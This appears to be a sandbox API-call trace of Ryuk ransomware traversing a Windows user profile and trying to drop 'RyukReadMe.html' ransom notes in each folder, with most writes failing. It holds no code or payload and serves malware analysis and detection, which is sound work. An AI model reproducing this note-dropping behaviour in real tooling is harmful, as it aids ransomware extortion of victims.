	[0248.833] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0248.833] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0248.833] SetLastError (dwErrCode=0x0) 
	[0248.834] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.834] GetLastError () returned 0x3
	[0248.834] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0248.834] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.834] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x210, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0248.834] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x210, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0248.834] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0248.834] SetLastError (dwErrCode=0x0) 
	[0248.834] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.834] GetLastError () returned 0x3
	[0248.834] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0248.834] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.834] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0248.834] SetLastError (dwErrCode=0x0) 
	[0248.835] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.835] GetLastError () returned 0x3
	[0248.835] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0248.835] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.835] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x210, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0248.835] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0248.835] SetLastError (dwErrCode=0x0) 
	[0248.835] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.835] GetLastError () returned 0x3
	[0248.835] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0248.835] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.835] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1
	[0248.835] SetLastError (dwErrCode=0x0) 
	[0248.835] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.835] GetLastError () returned 0x3
	[0248.835] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0248.836] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.836] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0248.836] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.837] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 1
	[0248.837] SetLastError (dwErrCode=0x0) 
	[0248.837] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.837] GetLastError () returned 0x3
	[0248.837] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0248.837] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.837] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0248.837] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0248.837] SetLastError (dwErrCode=0x0) 
	[0248.837] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.837] GetLastError () returned 0x3
	[0248.837] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0248.837] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.837] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 0
	[0248.837] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0248.838] SetLastError (dwErrCode=0x0) 
	[0248.838] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.838] GetLastError () returned 0x3
	[0248.838] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0248.838] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.838] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1
	[0248.838] SetLastError (dwErrCode=0x0) 
	[0248.838] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.838] GetLastError () returned 0x3
	[0248.838] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0248.838] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.838] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x210, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0248.838] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0248.838] SetLastError (dwErrCode=0x0) 
	[0248.838] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\deployment\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.838] GetLastError () returned 0x3
	[0248.839] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0248.839] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.839] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9791f220, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a918, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT", cAlternateFileName="GDIPFO~1.DAT")) returned 1
	[0248.839] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4
	[0249.102] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.104] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1
	[0249.104] SetLastError (dwErrCode=0x0) 
	[0249.105] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.105] GetLastError () returned 0x3
	[0249.105] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0249.105] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.105] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0249.106] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.106] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1
	[0249.106] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1
	[0249.106] SetLastError (dwErrCode=0x0) 
	[0249.106] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.106] GetLastError () returned 0x3
	[0249.106] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0249.106] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.106] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0249.106] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0249.106] SetLastError (dwErrCode=0x0) 
	[0249.107] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\crashreports\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.107] GetLastError () returned 0x3
	[0249.107] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0249.107] CloseHandle (hObject=0xffffffffffffffff) returned 0
